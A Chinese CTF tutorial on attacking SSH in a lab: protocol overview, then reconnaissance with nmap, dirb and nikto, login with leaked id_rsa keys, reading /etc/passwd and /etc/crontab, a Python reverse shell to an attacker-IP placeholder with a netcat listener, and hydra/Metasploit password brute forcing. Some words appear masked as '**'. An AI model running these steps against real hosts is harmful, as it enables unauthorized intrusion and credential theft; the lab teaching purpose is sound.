CTF-SSH协议介绍

ssh为Secure Shell 的缩写由IETF的网络小组(Network Working Group)所制定;SSH为建立在应用层基础上的安全协议。ssh是目前较为可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用ssh协议可以有效防止远程管理过程中的信息泄露问题。ssh最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。ssh在正确使用时可弥补网络中的漏洞。ssh客户端适用于多种平台。几乎所有UNIX平台---包括HP-UX、Linux、AIX、Solaris、Digital UNIX、lrix,以及其他平台,都可以运行SSH。它是基于TCP 22号端口的服务。

SSH协议认证机制

    基于口令的安全验证

           只要你知道自己账号和口令,就可以登录到远程主机。所有传输的数据都会被加密,但是不能保证你正在连接的服务器就是你想连接的服务器。可能会有别的服务器冒充真正的服务器,也就是收到“中间人”这种方式的攻击。

    基于**的安全认证

          需要依靠**,也就是你必须为自己创建一对**,并把公用**放在需要访问的服务器上。如果你要连接到SSH服务器上,客户端软件就会向服务器发出请求,请求用你的私钥进行安全验证。服务器收到请求之后,先在该服务器上你的主目录下寻找你的公用**,然后把它和你发送过来的私有**进行比较。如果两个**一致,则验证成功,登录服务器。 在ctf中,常用id_rsa表示私钥,用id_rsa.pub表示公钥。

SSH协议验证机制的弱点

    基于口令的安全验证

           基于字典的暴力**,**对应用户名和密码,通过ssh客户端连接到远程主机的SSH服务,实现对服务器的一定控制(不一定是root权限)。

    基于**的安全认证

           通过对主机信息收集,获取到泄露的用户名和对应的**。

           chmod 600 id_rsa

           ssh -i id_rsa用户名@主机地址  登录服务器(不一定是root权限)

试验环境:kali   靶机linux

信息探测

    对于给定IP地址的靶场机器,对其进行渗透测试,首先需要考虑靶场机器开放的服务。

               探测靶场开放的服务与服务的版本       nmap  -sV 靶场IP地址

               探测靶场全部信息                                 nmap  -A -v  靶场IP地址

               探测靶场的操作系统类型与版本            nmap  -O 靶场IP地址

分析探测结果

     对于SSH服务的22号端口的靶场

        首先考虑

               1.暴力**

               2.私钥泄露(私钥没有对应的密码、是否可以找到私钥的用户名)

对于开放http服务的80端口或其他端口的靶场

        首先考虑

               1.通过浏览器访问对应的靶场http服务,如http://靶场IP地址:http服务端口

               2.使用探测工具对http的目录进行探测,如dirb http://靶场IP地址:http服务端口/

特别注意 特殊端口 (大于1024的端口)

挖掘敏感信息

    使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息),递归访问,力争把每一个dirb扫描到的目录页面都访问查看;

尤其对roots.txt、以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_rsa);

对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息    nikto  -host 靶场IP地址

特别注意config等特殊敏感文件,要细度扫描的结果。挖掘可以利用的敏感信息。

利用敏感、弱点信息

      对挖掘到的ssh**利用

       1.修改id_rsa的权限

          chmod 600 id_rsa

       2.利用私钥登录服务器

        ssh  -i  id_rsa用户名@靶场Ip地址

      注意:如果id_rsa没有解密密码,可以直接使用。但是如果id_rsa有解密密码,那么就需要进行对应的**。

扩大战果

    登录服务器之后,我们需要做以下操作。

    1、查看当前用户whoami

    2、id查看当前用户的权限

    3、查看根目录 寻找flag文件

如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,肯定需要提权。一般情况下,flag文件只属于root用户和对应的用户组。

        cat /etc/passwd  查看所用用户的列表

        cat /etc/group      查看用户组

        find  /-user 用户名  查看属于某些用户的文件

        /tmp                       查看缓冲文件目录

深入挖掘

    通过 /etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务。

    cat /etc/crontab  挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

    如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写的权限。

反弹shell

    靶场代码

    #!/usr/bin/python

    import os,subprocess,socket

    s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)

    s.connect(("攻击机IP地址","攻击机监听端口"))

    os.dup2(s.fileno(),0)

    os.dup2(s.fileno(),1)

    os.dup2(s.fileno(),2)

    p=subprocess.call(["/bin/sh","-i"])

    

    攻击机netcat命令    nc -lpv未占用端口

    查看占用端口          netstat  -pantu

CTF-SSH协议介绍

深入挖掘

    目标:寻找可以root靶场机器的方式

    su -root

    查看用户 whoami

    查看对应权限  id

    切换到 /home/用户名  目录查看是否具有可以提升root权限的文件

 

背水一战

    万不得已的时候 只能对ssh服务进行暴力**。**最后一个用户名。**工具如 hydra、medusa等。

 

利用cupp创建字典

    git  clone  https://github.com/jeanphorn/common-password.git

    chmod + x cupp.py

    ./cupp.py  -i  以交互的方式创建字典

CTF-SSH协议介绍

使用metasploit**SSH

    在终端中输入

    msfconsole

        msf > use auxiliary/scanner/ssh/ssh_login

        msf  auxiliary(ssh_login) > set rhosts 192.168.1.137

        msf  auxiliary(ssh_login) > set username hadi

        msf  auxiliary(ssh_login) > set pass_file hadi.txt

        msf  auxiliary(ssh_login) >  run

优化会话

    python -c "import pty; pty.spawn('/bin/bash')"

    su -root

获取Flag

    提升到root权限之后,切换目录寻找flag文件。一般情况下,flag文件是在root目录下。

    cat  flag文件名(一般情况 flag.txt)

总结:在对ssh服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器,个别情况进行暴力**获取用户密码,通过用户名和对应用户登录靶场机器。

CTF中要特别注意 /tmp数据缓冲目录 以及 /etc/crontab设置定时执行的文件。